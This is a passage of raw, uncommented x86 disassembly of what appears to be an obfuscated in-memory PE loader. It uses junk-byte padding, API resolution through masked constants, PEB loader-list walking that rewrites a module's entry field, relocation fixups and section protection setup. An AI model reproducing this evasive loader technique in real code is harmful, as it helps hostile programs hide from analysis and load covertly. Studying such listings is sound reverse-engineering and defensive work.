loc_402036:				; CODE XREF: sub_401D74+2B5j
		mov	ebx, [ebp-4]
		mov	edi, [ebx+3Ch]
		jmp	loc_40204B
; ---------------------------------------------------------------------------
		db 0B4h, 0DDh, 52h
		dd 9ED92023h
; ---------------------------------------------------------------------------
		jg	short loc_402096
		xchg	eax, ebp


loc_40204B:				; CODE XREF: sub_401D74+2C8j
		mov	edi, [edi+ebx+78h]
		jmp	short loc_40205F
; ---------------------------------------------------------------------------
		db 0AAh, 9Bh, 38h
		dd 0E4777611h, 5013024Dh
		db 49h,	4Eh, 6Fh
; ---------------------------------------------------------------------------


loc_40205F:				; CODE XREF: sub_401D74+2DBj
		add	ebx, [edi+ebx+1Ch]
		jmp	short loc_402072
; ---------------------------------------------------------------------------
		db 7Ch,	5, 5Ah
		dd 2681688Bh, 0B2BD1467h
		db 3, 80h
; ---------------------------------------------------------------------------


loc_402072:				; CODE XREF: sub_401D74+2EFj
		mov	eax, [edx+ebx]
		jmp	loc_40207F
; ---------------------------------------------------------------------------
		mov	ecx, 75AC5FFEh


loc_40207F:				; CODE XREF: sub_401D74+301j
		add	eax, [ebp-4]
		jmp	loc_402089
; ---------------------------------------------------------------------------
		db 0Ah
		db 7Bh
; ---------------------------------------------------------------------------


loc_402089:				; CODE XREF: sub_401D74+30Ej
		pop	edi
		jmp	loc_4020D2
; ---------------------------------------------------------------------------


loc_40208F:				; CODE XREF: sub_401D74+288j
		xor	eax, eax
		jmp	loc_4020A4
; ---------------------------------------------------------------------------


loc_402096:				; CODE XREF: sub_401D74+2D4j
		cwde
		icebp
		setalc
		push	edi
		inc	esp
		sub	eax, 29B0F362h
		scasb
		dec	edi
		fsubr	st(5), st


loc_4020A4:				; CODE XREF: sub_401D74+31Dj
		pop	ebx
		pop	edi
		pop	esi
		jmp	locret_4020B9
; ---------------------------------------------------------------------------
		dd 61C86BBAh, 9D744786h, 99E0E312h
; ---------------------------------------------------------------------------
		pop	esi

locret_4020B9:				; CODE XREF: sub_401D74+333j
		leave
		jmp	short loc_4020C1
; ---------------------------------------------------------------------------
		aas
		or	al, 55h
		push	5Bh


loc_4020C1:				; CODE XREF: sub_401D74+346j
		retn	0Ch
; ---------------------------------------------------------------------------
		jmp	short loc_4020D2
; ---------------------------------------------------------------------------
		clc
		sal	dword ptr [esi], 1
		aaa
		movsb
		or	eax, 910D3C2h
		push	cs
		das


loc_4020D2:				; CODE XREF: sub_401D74+22Fj
					; sub_401D74+316j ...
		push	eax
		jmp	loc_4020D9
; ---------------------------------------------------------------------------
		db 3Ch
; ---------------------------------------------------------------------------


loc_4020D9:				; CODE XREF: sub_401D74+35Fj
		lea	eax, [ebp-0Ch]
		push	eax
		jmp	short loc_4020E3
; ---------------------------------------------------------------------------
		db 0C5h
; ---------------------------------------------------------------------------
		sbb	cl, [ebx+28h]


loc_4020E3:				; CODE XREF: sub_401D74+369j
		push	4
		jmp	loc_4020F7
; ---------------------------------------------------------------------------
		dw 0E641h
		dd 727DD427h, 0BE7940C3h
		db 1Fh,	6Ch, 35h
; ---------------------------------------------------------------------------


loc_4020F7:				; CODE XREF: sub_401D74+371j
		push	4
		jmp	short loc_4020FE
; ---------------------------------------------------------------------------
		db 0CAh
		db 3Bh,	58h
; ---------------------------------------------------------------------------


loc_4020FE:				; CODE XREF: sub_401D74+385j
		push	edi
		call	sub_40222B
		jmp	short loc_40210B
; ---------------------------------------------------------------------------
		mov	cl, 96h
		pop	ss
		add	al, 0EDh


loc_40210B:				; CODE XREF: sub_401D74+390j
		pop	eax
		jmp	loc_402118
; ---------------------------------------------------------------------------
		and	dh, [ebx+0F6EE970h]
		pushf


loc_402118:				; CODE XREF: sub_401D74+398j
		mov	[edi], eax
		jmp	short loc_402127
; ---------------------------------------------------------------------------
		dd 882B7AA5h, 34074621h
		db 5Dh,	0D2h, 0A3h
; ---------------------------------------------------------------------------


loc_402127:				; CODE XREF: sub_401D74+3A6j
		sub	esp, 4
		jmp	short loc_402139
; ---------------------------------------------------------------------------
		dd 0FF1E59A0h, 1B2A15CCh, 0F7F691B8h
		db 64h
; ---------------------------------------------------------------------------


loc_402139:				; CODE XREF: sub_401D74+3B6j
		lea	eax, [esp+0]
		jmp	loc_40214C
; ---------------------------------------------------------------------------
		db 0CDh, 82h, 93h
		dd 0EFCEC9D0h, 0BDA85FCh
; ---------------------------------------------------------------------------


loc_40214C:				; CODE XREF: sub_401D74+3C8j
		push	eax
		jmp	loc_402162
; ---------------------------------------------------------------------------
		dw 1E8h
		dd 3D94E7A6h, 39008332h, 0F52CDF7Eh
; ---------------------------------------------------------------------------
		mov	bh, bl


loc_402162:				; CODE XREF: sub_401D74+3D9j
		push	dword ptr [ebp-0Ch]
		push	4
		jmp	short loc_402174
; ---------------------------------------------------------------------------
		db 18h,	71h, 56h
		dd 0E2ADC4D7h, 2EA93073h
; ---------------------------------------------------------------------------


loc_402174:				; CODE XREF: sub_401D74+3F3j
		push	edi
		jmp	short loc_402187
; ---------------------------------------------------------------------------
		db 0CFh
		dd 0EB3A655Ch, 0C706E148h, 63921DF4h
; ---------------------------------------------------------------------------
		pusha
		sbb	esi, ebx


loc_402187:				; CODE XREF: sub_401D74+401j
		call	sub_40222B
		add	esp, 4
		jmp	short loc_402197
; ---------------------------------------------------------------------------
		db 0BFh, 8Ch, 0D5h
		db 0EAh, 0DBh, 78h
; ---------------------------------------------------------------------------


loc_402197:				; CODE XREF: sub_401D74+41Bj
		add	dword ptr [ebp-8], 4
		jmp	loc_4021AD
; ---------------------------------------------------------------------------
		dd 24B7B651h, 9053428Dh, 0BCAF8E89h
; ---------------------------------------------------------------------------
		inc	ebp


loc_4021AD:				; CODE XREF: sub_401D74+427j
		jmp	loc_401E6E
; ---------------------------------------------------------------------------
		jmp	loc_4021C4
; ---------------------------------------------------------------------------
		db 9Ah
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 0C1h, 66h
		dd 0F2FD54A7h, 3EF9C043h
; ---------------------------------------------------------------------------


loc_4021C4:				; CODE XREF: sub_401D74+164j
					; sub_401D74+43Ej
		add	esi, 14h
		jmp	short loc_4021D6
; ---------------------------------------------------------------------------
		db 9Fh,	0ECh, 0B5h
		dd 31D8BB4Ah, 6D849716h
		db 0A2h, 33h
; ---------------------------------------------------------------------------


loc_4021D6:				; CODE XREF: sub_401D74+453j
		mov	edx, [ebp+0Ch]
		jmp	loc_4021E8
; ---------------------------------------------------------------------------
		dw 69F0h
		dd 251C8FEEh, 0A108ABFAh
; ---------------------------------------------------------------------------


loc_4021E8:				; CODE XREF: sub_401D74+465j
		jmp	loc_401DD2
; ---------------------------------------------------------------------------
		jmp	short loc_4021F0
; ---------------------------------------------------------------------------
		db 0C6h
; ---------------------------------------------------------------------------


loc_4021F0:				; CODE XREF: sub_401D74+63j
					; sub_401D74+479j
		pop	ebx
		jmp	loc_4021F9
; ---------------------------------------------------------------------------
		dw 0B487h
		db 0DDh
; ---------------------------------------------------------------------------


loc_4021F9:				; CODE XREF: sub_401D74+47Dj
		pop	edi
		pop	esi
		jmp	locret_402210
; ---------------------------------------------------------------------------
		dd 0D9202352h, 954C7F9Eh, 11389BAAh, 4DE47776h
; ---------------------------------------------------------------------------

locret_402210:				; CODE XREF: sub_401D74+487j
		leave
		jmp	short locret_402214
; ---------------------------------------------------------------------------
		db 2
; ---------------------------------------------------------------------------

locret_402214:				; CODE XREF: sub_401D74+49Dj
		retn	0Ch
sub_401D74	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	sub_40222B
; ---------------------------------------------------------------------------
		dd 4E495013h, 5A057C6Fh, 2681688Bh
		db 67h,	14h, 0BDh

; =============== S U B	R O U T	I N E =======================================



sub_40222B	proc near		; CODE XREF: sub_401D74+38Bp
					; sub_401D74:loc_402187p ...

var_8		= dword	ptr -8

		push	ebp
		jmp	short loc_402233
; ---------------------------------------------------------------------------
		dw 3B2h
		db 80h,	0B9h, 0FEh
; ---------------------------------------------------------------------------


loc_402233:				; CODE XREF: sub_40222B+1j
		mov	ebp, esp
		call	sub_4034CE
		push	0F9764605h
		push	edi
		jmp	loc_40224F
; ---------------------------------------------------------------------------
		db 0Ah,	7Bh, 98h
		dd 4457D6F1h
		db 2Dh,	62h, 0F3h
; ---------------------------------------------------------------------------


loc_40224F:				; CODE XREF: sub_40222B+15j
		mov	edi, 50A8295Fh
		jmp	short loc_40225C
; ---------------------------------------------------------------------------
		mov	al, 29h
		scasb
		dec	edi
		fsubr	st(5), st


loc_40225C:				; CODE XREF: sub_40222B+29j
		xor	[esp+0Ch+var_8], edi
		pop	edi
		jmp	short loc_402265
; ---------------------------------------------------------------------------
		db 0BAh
		db 6Bh
; ---------------------------------------------------------------------------


loc_402265:				; CODE XREF: sub_40222B+36j
		push	eax
		call	near ptr sub_403516
		push	dword ptr [ebp+14h]
		jmp	loc_402274
; ---------------------------------------------------------------------------
		db 0C8h
; ---------------------------------------------------------------------------


loc_402274:				; CODE XREF: sub_40222B+43j
		push	dword ptr [ebp+10h]
		jmp	short loc_402281
; ---------------------------------------------------------------------------
		db 61h,	86h, 47h
		dd 0E3129D74h
		db 0E0h
; ---------------------------------------------------------------------------


loc_402281:				; CODE XREF: sub_40222B+4Cj
		push	dword ptr [ebp+0Ch]
		jmp	loc_40228C
; ---------------------------------------------------------------------------
		cdq
		pop	esi
		aas


loc_40228C:				; CODE XREF: sub_40222B+59j
		push	dword ptr [ebp+8]
		call	eax
		jmp	locret_4022A4
; ---------------------------------------------------------------------------
		or	al, 55h
		push	5Bh
		clc
		sal	dword ptr [esi], 1
		aaa
		movsb
		or	eax, 910D3C2h

locret_4022A4:				; CODE XREF: sub_40222B+66j
		leave
		retn	10h
sub_40222B	endp

; ---------------------------------------------------------------------------
		jmp	sub_4022AE
; ---------------------------------------------------------------------------
		push	cs

; =============== S U B	R O U T	I N E =======================================



sub_4022AE	proc near		; CODE XREF: sub_4019C4+20Ep
					; .text:004022A8j

var_C		= dword	ptr -0Ch

		push	ebp
		jmp	loc_4022C1
; ---------------------------------------------------------------------------
		dd 1AC53C2Fh, 0E641284Bh, 727DD427h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_4022C1:				; CODE XREF: sub_4022AE+1j
		mov	ebp, esp
		jmp	short loc_4022CE
; ---------------------------------------------------------------------------
		db 40h,	79h, 0BEh
		dd 0CA356C1Fh
		db 3Bh,	58h
; ---------------------------------------------------------------------------


loc_4022CE:				; CODE XREF: sub_4022AE+15j
		call	sub_4034CE
		jmp	loc_4022E3
; ---------------------------------------------------------------------------
		mov	cl, 96h
		pop	ss
		add	al, 0EDh
		and	dh, [ebx+0F6EE970h]


loc_4022E3:				; CODE XREF: sub_4022AE+25j
		push	ecx
		push	esi
		mov	esi, 7E501662h
		jmp	short loc_4022F7
; ---------------------------------------------------------------------------
		dd 4621882Bh, 0D25D3407h
		db 0A3h, 0A0h, 59h
; ---------------------------------------------------------------------------


loc_4022F7:				; CODE XREF: sub_4022AE+3Cj
		add	esi, 0EB2A549Ch
		jmp	short loc_402304
; ---------------------------------------------------------------------------
		db 1Eh
		dd 2A15CCFFh
; ---------------------------------------------------------------------------


loc_402304:				; CODE XREF: sub_4022AE+4Fj
		xchg	esi, [esp+0Ch+var_C]
		jmp	short loc_402312
; ---------------------------------------------------------------------------
		db 1Bh,	0B8h, 91h
		dd 0CD64F7F6h
		db 82h,	93h
; ---------------------------------------------------------------------------


loc_402312:				; CODE XREF: sub_4022AE+59j
		push	eax
		jmp	short loc_402319
; ---------------------------------------------------------------------------
		db 0D0h, 0C9h, 0CEh
		db 0EFh
; ---------------------------------------------------------------------------


loc_402319:				; CODE XREF: sub_4022AE+65j
		call	near ptr sub_403516
		pop	ecx
		jmp	loc_40232E
; ---------------------------------------------------------------------------
		dd 0BDA85FCh, 0E7A601E8h
		db 94h,	3Dh
; ---------------------------------------------------------------------------


loc_40232E:				; CODE XREF: sub_4022AE+71j
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		jmp	short loc_402346
; ---------------------------------------------------------------------------
		dw 8332h
		dd 0DF7E3900h, 0FB8AF52Ch, 0D7567118h
		db 0C4h, 0ADh
; ---------------------------------------------------------------------------


loc_402346:				; CODE XREF: sub_4022AE+86j
		push	dword ptr [ebp+0Ch]
		jmp	loc_402351
; ---------------------------------------------------------------------------
		dw 73E2h
		db 30h
; ---------------------------------------------------------------------------


loc_402351:				; CODE XREF: sub_4022AE+9Bj
		push	dword ptr [ebp+8]
		call	eax
		leave
		jmp	locret_402369
; ---------------------------------------------------------------------------
		dd 5CCF2EA9h, 48EB3A65h, 0F4C706E1h
		db 1Dh
; ---------------------------------------------------------------------------

locret_402369:				; CODE XREF: sub_4022AE+A9j
		retn	10h
sub_4022AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40236C	proc far		; CODE XREF: sub_4019C4:loc_401CA6p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		jmp	short loc_40237C
; ---------------------------------------------------------------------------
		db 92h,	63h, 60h
		dd 8CBFDE19h, 78DBEAD5h
; ---------------------------------------------------------------------------


loc_40237C:				; CODE XREF: sub_40236C+3j
		call	sub_4034CE
		push	edi
		mov	edi, 2F11890Eh
		jmp	short loc_402394
; ---------------------------------------------------------------------------
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx


loc_402394:				; CODE XREF: sub_40236C+1Bj
		xor	edi, 1524F951h
		jmp	short loc_4023A2
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		test	al, 0C1h
		cmpsw
		push	esp


loc_4023A2:				; CODE XREF: sub_40236C+2Ej
		xchg	edi, [esp+4+var_4]
		jmp	loc_4023AF
; ---------------------------------------------------------------------------
		dw 0F2FDh
		db 43h,	0C0h, 0F9h
; ---------------------------------------------------------------------------


loc_4023AF:				; CODE XREF: sub_40236C+39j
		push	eax
		jmp	short loc_4023BC
; ---------------------------------------------------------------------------
		dw 9F3Eh
		dd 0BB4AB5ECh, 971631D8h
; ---------------------------------------------------------------------------


loc_4023BC:				; CODE XREF: sub_40236C+44j
		call	near ptr sub_403516
		jmp	short loc_4023CC
; ---------------------------------------------------------------------------
		db 84h
		dd 0F033A26Dh, 1C8FEE69h
; ---------------------------------------------------------------------------


loc_4023CC:				; CODE XREF: sub_40236C+55j
		push	[ebp+arg_8]
		jmp	short loc_4023D7
; ---------------------------------------------------------------------------
		db 25h,	0FAh, 0ABh
		db 8, 0A1h, 0C6h
; ---------------------------------------------------------------------------


loc_4023D7:				; CODE XREF: sub_40236C+63j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	eax
		jmp	locret_4023F2
; ---------------------------------------------------------------------------
		dd 52DDB487h, 9ED92023h, 0AA954C7Fh
		db 9Bh,	38h
; ---------------------------------------------------------------------------

locret_4023F2:				; CODE XREF: sub_40236C+73j
		leave
		jmp	locret_402400
; ---------------------------------------------------------------------------
		dd 0E4777611h, 5013024Dh
; ---------------------------------------------------------------------------

locret_402400:				; CODE XREF: sub_40236C+87j
		retn	0Ch
sub_40236C	endp

; ---------------------------------------------------------------------------
		jmp	short sub_402410
; ---------------------------------------------------------------------------
		db 49h,	4Eh, 6Fh
		dd 8B5A057Ch, 67268168h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402410	proc near		; CODE XREF: sub_40141A+3E4p
					; .text:00402403j

var_7E		= dword	ptr -7Eh
var_1C		= dword	ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		jmp	short loc_40241C
; ---------------------------------------------------------------------------
		db 14h,	0BDh, 0B2h
		dd 0FEB98003h
; ---------------------------------------------------------------------------


loc_40241C:				; CODE XREF: sub_402410+3j
		add	esp, 0FFFFFFFCh
		push	esi
		mov	ecx, [ebp+arg_4]
		jmp	loc_402434
; ---------------------------------------------------------------------------
		dd 0A75AC5Fh, 0D6F1987Bh, 622D4457h
; ---------------------------------------------------------------------------


loc_402434:				; CODE XREF: sub_402410+13j
		mov	esi, [ebp+arg_0]
		jmp	loc_402446
; ---------------------------------------------------------------------------
		dd 0AE29B0F3h, 0BAE5DC4Fh
		db 6Bh,	0C8h
; ---------------------------------------------------------------------------


loc_402446:				; CODE XREF: sub_402410+27j
		add	esi, [esi+3Ch]
		push	ecx
		jmp	short loc_402457
; ---------------------------------------------------------------------------
		dd 74478661h, 0E0E3129Dh
; ---------------------------------------------------------------------------
		cdq
		pop	esi
		aas


loc_402457:				; CODE XREF: sub_402410+3Aj
		push	esi
		lea	eax, [ebp+var_4]
		push	eax
		jmp	short loc_40246C
; ---------------------------------------------------------------------------
		or	al, 55h
		push	5Bh
		clc
		sal	dword ptr [esi], 1
		aaa
		movsb
		or	eax, 910D3C2h


loc_40246C:				; CODE XREF: sub_402410+4Cj
		push	4
		push	edi
		mov	edi, 30AC58F2h
		jmp	loc_402485
; ---------------------------------------------------------------------------
		db 0C5h, 1Ah, 4Bh
		dd 27E64128h, 0C3727DD4h
; ---------------------------------------------------------------------------
		inc	eax


loc_402485:				; CODE XREF: sub_402410+64j
		add	edi, 0CF53AB0Eh
		jmp	loc_4024A0
; ---------------------------------------------------------------------------
		dd 6C1FBE79h, 583BCA35h, 41796B1h, 70B322EDh
; ---------------------------------------------------------------------------


loc_4024A0:				; CODE XREF: sub_402410+7Bj
		xchg	edi, [esp+1Ch+var_1C]
		jmp	loc_4024B3
; ---------------------------------------------------------------------------
		dd 9C0F6EE9h, 882B7AA5h
; ---------------------------------------------------------------------------
		and	[esi+7], eax


loc_4024B3:				; CODE XREF: sub_402410+93j
		push	[ebp+arg_0]
		call	sub_40222B
		jmp	short loc_4024C0
; ---------------------------------------------------------------------------
		db 34h,	5Dh, 0D2h
; ---------------------------------------------------------------------------


loc_4024C0:				; CODE XREF: sub_402410+ABj
		pop	esi
		jmp	loc_4024CF
; ---------------------------------------------------------------------------
		dw 0A0A3h
		dd 0CCFF1E59h
		db 15h,	2Ah, 1Bh
; ---------------------------------------------------------------------------


loc_4024CF:				; CODE XREF: sub_402410+B1j
		pop	ecx
		push	edx
		mov	edx, 8F74B440h
		jmp	loc_4024E0
; ---------------------------------------------------------------------------
		mul	[ebp+ecx*8+var_7E]
		xchg	eax, ebx


loc_4024E0:				; CODE XREF: sub_402410+C6j
		add	edx, 708B4CB8h
		jmp	loc_4024F0
; ---------------------------------------------------------------------------
		db 0D0h
		dd 0FCEFCEC9h
; ---------------------------------------------------------------------------


loc_4024F0:				; CODE XREF: sub_402410+D6j
		xchg	edx, [esp+0Ch+var_C]
		jmp	short loc_402501
; ---------------------------------------------------------------------------
		db 85h,	0DAh, 0Bh
		dd 0E7A601E8h, 83323D94h
		db 0
; ---------------------------------------------------------------------------


loc_402501:				; CODE XREF: sub_402410+E3j
		push	ecx
		jmp	short loc_402507
; ---------------------------------------------------------------------------
		cmp	[esi-21h], edi


loc_402507:				; CODE XREF: sub_402410+F2j
		push	esi
		jmp	loc_40250E
; ---------------------------------------------------------------------------
		db 2Ch
; ---------------------------------------------------------------------------


loc_40250E:				; CODE XREF: sub_402410+F8j
		call	near ptr sub_402D93
		mov	word ptr [esi],	4550h
		pop	esi
		jmp	locret_402525
; ---------------------------------------------------------------------------
		cmc
		mov	bh, bl
		sbb	[ecx+56h], dh
		xlat

locret_402525:				; CODE XREF: sub_402410+109j
		leave
		retn	8
sub_402410	endp

; ---------------------------------------------------------------------------
		jmp	near ptr sub_402537
; ---------------------------------------------------------------------------
		dw 0ADC4h
		dd 0A93073E2h
		db 2Eh,	0CFh, 5Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402537	proc far		; CODE XREF: sub_4019C4:loc_401C64p
					; .text:00402529j

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		jmp	short loc_40253F
; ---------------------------------------------------------------------------
		db 65h,	3Ah
; ---------------------------------------------------------------------------


loc_40253F:				; CODE XREF: sub_402537+4j
		push	edi
		push	ebx
		mov	esi, [ebp+arg_4]
		jmp	loc_40254A
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_40254A:				; CODE XREF: sub_402537+Dj
		mov	edx, [esi]
		jmp	short loc_402555
; ---------------------------------------------------------------------------
		dw 0E148h
		dd 1DF4C706h
; ---------------------------------------------------------------------------
		xchg	eax, edx


loc_402555:				; CODE XREF: sub_402537+15j
		xor	eax, eax
		jmp	loc_40256C
; ---------------------------------------------------------------------------
		dd 0DE196063h, 0EAD58CBFh, 0B65178DBh, 428D24B7h
; ---------------------------------------------------------------------------


loc_40256C:				; CODE XREF: sub_402537+20j
		test	edx, edx
		jbe	loc_4025C5
		jmp	loc_402584
; ---------------------------------------------------------------------------
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		test	al, 0C1h


loc_402584:				; CODE XREF: sub_402537+3Dj
		mov	ebx, [ebp+arg_0]
		jmp	loc_402597
; ---------------------------------------------------------------------------
		dd 0FD54A766h, 0F9C043F2h
		db 3Eh,	9Fh, 0ECh
; ---------------------------------------------------------------------------


loc_402597:				; CODE XREF: sub_402537+50j
		mov	edi, [ebp+arg_8]
		jmp	loc_4025A5
; ---------------------------------------------------------------------------
		db 0B5h
		dd 31D8BB4Ah
; ---------------------------------------------------------------------------
		push	ss


loc_4025A5:				; CODE XREF: sub_402537+63j
					; sub_402537+82j
		mov	ecx, [esi+eax*4+4]
		add	[ebx+ecx], edi
		add	ecx, ebx
		jmp	loc_4025B4
; ---------------------------------------------------------------------------
		xchg	eax, edi


loc_4025B4:				; CODE XREF: sub_402537+77j
		add	eax, 1
		cmp	eax, edx
		jb	loc_4025A5
		jmp	short loc_4025C5
; ---------------------------------------------------------------------------
		db 84h,	6Dh, 0A2h
		db 33h
; ---------------------------------------------------------------------------


loc_4025C5:				; CODE XREF: sub_402537+37j
					; sub_402537+88j
		pop	ebx
		pop	edi
		pop	esi
		jmp	locret_4025D9
; ---------------------------------------------------------------------------
		db 0F0h, 69h, 0EEh
		dd 0FA251C8Fh, 0C6A108ABh
		db 87h
; ---------------------------------------------------------------------------

locret_4025D9:				; CODE XREF: sub_402537+91j
		leave


loc_4025DA:				; CODE XREF: sub_4025E8+Cj
		jmp	locret_4025E5
; ---------------------------------------------------------------------------
		db 0B4h
; ---------------------------------------------------------------------------
		fst	qword ptr [edx+23h]
		and	cl, bl

locret_4025E5:				; CODE XREF: sub_402537:loc_4025DAj
		retn	0Ch
sub_402537	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4025E8	proc near		; CODE XREF: sub_4019C4+24Cp
		push	ebp
		jmp	short loc_4025F6
; ---------------------------------------------------------------------------
		db 9Eh
		dd 0AA954C7Fh, 7611389Bh
; ---------------------------------------------------------------------------
		ja	short loc_4025DA


loc_4025F6:				; CODE XREF: sub_4025E8+1j
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+8]
		jmp	loc_402608
; ---------------------------------------------------------------------------
		db 4Dh,	2, 13h
		dd 6F4E4950h
; ---------------------------------------------------------------------------


loc_402608:				; CODE XREF: sub_4025E8+14j
		add	edi, [edi+3Ch]
		jmp	short loc_402610
; ---------------------------------------------------------------------------
		jl	short locret_402614
		pop	edx


loc_402610:				; CODE XREF: sub_4025E8+23j
		mov	eax, [edi+34h]
		pop	edi

locret_402614:				; CODE XREF: sub_4025E8+25j
		leave
		jmp	short locret_402626
; ---------------------------------------------------------------------------
		db 8Bh
		dd 67268168h, 3B2BD14h,	5FFEB980h
		db 0ACh, 75h
; ---------------------------------------------------------------------------

locret_402626:				; CODE XREF: sub_4025E8+2Dj
		retn	4
sub_4025E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_402629	proc near		; CODE XREF: sub_40141A:loc_4018DAp
		push	ebp
		jmp	short loc_402637
; ---------------------------------------------------------------------------
		dd 0F1987B0Ah, 2D4457D6h
		db 62h,	0F3h, 0B0h
; ---------------------------------------------------------------------------


loc_402637:				; CODE XREF: sub_402629+1j
		mov	ebp, esp
		push	esi
		push	edi
		jmp	short loc_402643
; ---------------------------------------------------------------------------
		sub	[esi-451A23B1h], ebp


loc_402643:				; CODE XREF: sub_402629+12j
		mov	eax, large fs:30h
		jmp	loc_402652
; ---------------------------------------------------------------------------
		dw 0C86Bh
		db 61h,	86h
; ---------------------------------------------------------------------------


loc_402652:				; CODE XREF: sub_402629+20j
		mov	eax, [eax+0Ch]
		mov	edi, [eax+0Ch]
		jmp	short loc_402667
; ---------------------------------------------------------------------------
		dw 7447h
		dd 0E0E3129Dh, 0C3F5E99h
; ---------------------------------------------------------------------------
		push	ebp
		push	5Bh


loc_402667:				; CODE XREF: sub_402629+2Fj
		mov	eax, [ebp+8]
		jmp	short loc_40267A
; ---------------------------------------------------------------------------
		clc
		sal	dword ptr [esi], 1
		aaa
		movsb
		or	eax, 910D3C2h
		push	cs
		das
		cmp	al, 0C5h


loc_40267A:				; CODE XREF: sub_402629+41j
		jmp	loc_402693
; ---------------------------------------------------------------------------


loc_40267F:				; CODE XREF: sub_402629+6Dj
		mov	edi, [edi]
		jmp	short loc_402693
; ---------------------------------------------------------------------------
		db 1Ah
		dd 0E641284Bh, 727DD427h, 0BE7940C3h
		db 1Fh,	6Ch, 35h
; ---------------------------------------------------------------------------


loc_402693:				; CODE XREF: sub_402629:loc_40267Aj
					; sub_402629+58j
		cmp	eax, [edi+18h]
		jnz	loc_40267F
		mov	eax, [ebp+0Ch]
		jmp	short loc_4026A4
; ---------------------------------------------------------------------------
		db 0CAh, 3Bh, 58h
; ---------------------------------------------------------------------------


loc_4026A4:				; CODE XREF: sub_402629+76j
		mov	[edi+1Ch], eax
		jmp	short loc_4026B0
; ---------------------------------------------------------------------------
		db 0B1h, 96h, 17h
		dd 0B322ED04h
; ---------------------------------------------------------------------------


loc_4026B0:				; CODE XREF: sub_402629+7Ej
		pop	edi
		pop	esi
		jmp	short locret_4026B7
; ---------------------------------------------------------------------------
		db 70h,	0E9h, 6Eh
; ---------------------------------------------------------------------------

locret_4026B7:				; CODE XREF: sub_402629+89j
		leave
		jmp	short locret_4026BD
; ---------------------------------------------------------------------------
		dw 9C0Fh
; ---------------------------------------------------------------------------
		movsd

locret_4026BD:				; CODE XREF: sub_402629+8Fj
		retn	8
sub_402629	endp


; =============== S U B	R O U T	I N E =======================================



sub_4026C0	proc near		; CODE XREF: sub_4019C4:loc_401CD0p

var_18		= dword	ptr -18h

		push	ebp
		jmp	loc_4026D3
; ---------------------------------------------------------------------------
		dw 2B7Ah
		dd 7462188h, 0A3D25D34h
		db 0A0h, 59h, 1Eh
; ---------------------------------------------------------------------------


loc_4026D3:				; CODE XREF: sub_4026C0+1j
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	ecx
		jmp	loc_4026E0
; ---------------------------------------------------------------------------
		dw 0CCFFh
; ---------------------------------------------------------------------------


loc_4026E0:				; CODE XREF: sub_4026C0+19j
		push	edi
		push	esi
		jmp	loc_4026EC
; ---------------------------------------------------------------------------
		adc	eax, 91B81B2Ah


loc_4026EC:				; CODE XREF: sub_4026C0+22j
		call	sub_4034CE
		push	0ABE667ACh
		push	ecx
		jmp	short loc_4026FE
; ---------------------------------------------------------------------------
		db 0CDh, 82h, 93h
; ---------------------------------------------------------------------------
		ror	cl, 1


loc_4026FE:				; CODE XREF: sub_4026C0+37j
		mov	ecx, 23808F6h
		jmp	loc_402709
; ---------------------------------------------------------------------------
		db 0CEh
; ---------------------------------------------------------------------------


loc_402709:				; CODE XREF: sub_4026C0+43j
		xor	[esp+1Ch+var_18], ecx
		pop	ecx
		jmp	loc_402719
; ---------------------------------------------------------------------------
		db 0EFh
; ---------------------------------------------------------------------------
		cld
		test	ebx, edx
		or	ebp, eax


loc_402719:				; CODE XREF: sub_4026C0+4Ej
		push	eax
		call	near ptr sub_403516
		jmp	short loc_402726
; ---------------------------------------------------------------------------
		db 1, 0A6h, 0E7h
		db 94h,	3Dh
; ---------------------------------------------------------------------------


loc_402726:				; CODE XREF: sub_4026C0+5Fj
		mov	[ebp-4], eax
		xor	eax, eax
		mov	edx, [ebp+10h]
		jmp	short loc_402734
; ---------------------------------------------------------------------------
		dd 39008332h
; ---------------------------------------------------------------------------


loc_402734:				; CODE XREF: sub_4026C0+6Ej
		test	edx, 20000000h
		jz	loc_402752
		jmp	short loc_40274F
; ---------------------------------------------------------------------------
		dw 0DF7Eh
		dd 0FB8AF52Ch, 0D7567118h
		db 0C4h, 0ADh, 0E2h
; ---------------------------------------------------------------------------


loc_40274F:				; CODE XREF: sub_4026C0+80j
		or	eax, 10h


loc_402752:				; CODE XREF: sub_4026C0+7Aj
		test	edx, 40000000h
		jz	loc_402770
		jmp	short loc_40276D
; ---------------------------------------------------------------------------
		dd 2EA93073h, 3A655CCFh, 6E148EBh
		db 0C7h
; ---------------------------------------------------------------------------


loc_40276D:				; CODE XREF: sub_4026C0+9Ej
		or	eax, 2


loc_402770:				; CODE XREF: sub_4026C0+98j
		test	edx, 80000000h
		jz	loc_402786
		or	eax, 4
		jmp	loc_402786
; ---------------------------------------------------------------------------
		db 0F4h, 1Dh
; ---------------------------------------------------------------------------


loc_402786:				; CODE XREF: sub_4026C0+B6j
					; sub_4026C0+BFj
		cmp	eax, 10h
		jnz	loc_4027B0
		mov	edx, 10h
		jmp	short loc_40279B
; ---------------------------------------------------------------------------
		dw 6392h
